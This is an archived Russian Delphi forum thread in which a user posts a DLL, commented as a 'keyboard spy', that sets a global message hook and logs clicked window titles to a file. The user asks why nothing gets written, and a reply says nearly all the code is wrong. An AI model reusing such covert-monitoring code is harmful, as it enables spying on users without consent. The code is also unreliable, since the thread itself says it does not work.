Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2005.12.11;
Скачать: CL | DM;

Вниз

Перехват сообщений от мыши   Найти похожие ветки 

 
Виталий11111   (2005-10-13 15:00) [0]

ibrary spydll;

{ DLL для клавиатурного шпиёна}

uses Windows, Messages, SysUtils, Dialogs;
var SystemHook: HHook = 0;
Wnd : HWND = 0;
f: TextFile;
wtext: array[0..255] of Char;
fdir: String;

function SysMsgProc(Code: Integer; wParam: Word; lParam: LongInt):LongInt;stdcall;
begin
Result := CallNextHookEx(SystemHook, Code, wParam, lParam);
if Code = HC_ACTION then
 begin
  if TMsg(Pointer(lParam)^).message = WM_LBUTTONDOWN then
   begin
    AssignFile(f, "x.txt");
    if not FileExists("x.txt") then
     begin
      Rewrite(f);
      CloseFile(f);
     end;
    Append(f);
    Wnd := TMsg(Pointer(lParam)^).hwnd;
    GetWindowtext(Wnd, wtext, 255);
    WriteLn(f, wtext);
    Flush(f);
    CloseFile(f);
   end;
 end;
end;

procedure RunStopHook(State: Boolean) export;stdcall;
begin
if State then
 begin
  SystemHook := SetWindowsHookEx(WH_GETMESSAGE, @SysMsgProc, HInstance, 0);
 end
else
 begin
  UnhookWindowsHookEx(SystemHook);
  SystemHook := 0;
 end;
end;

exports RunStopHook index 1;

begin
end.

В файл ничего не пишется!!! В чём проблема?


 
Eraser ©   (2005-10-13 15:01) [1]


> Виталий11111   (13.10.05 15:00)

В том что код неправильный... почти весь.



Страницы: 1 вся ветка

Текущий архив: 2005.12.11;
Скачать: CL | DM;

Наверх




Память: 0.46 MB
Время: 0.043 c
11-1113156574
Dimaxx
2005-04-10 22:09
2005.12.11
Рисование на канве mdwXLGrid


4-1127738848
NikNet
2005-09-26 16:47
2005.12.11
Как сделать мою форму позади всех?


4-1128437178
Игорь Степанов
2005-10-04 18:46
2005.12.11
Генерация звука с помощью функций WIN API


14-1131958924
Юрий Зотов
2005-11-14 12:02
2005.12.11
Чемпионат сайта по бильярду


1-1131704477
DelphiLexx
2005-11-11 13:21
2005.12.11
DosToWin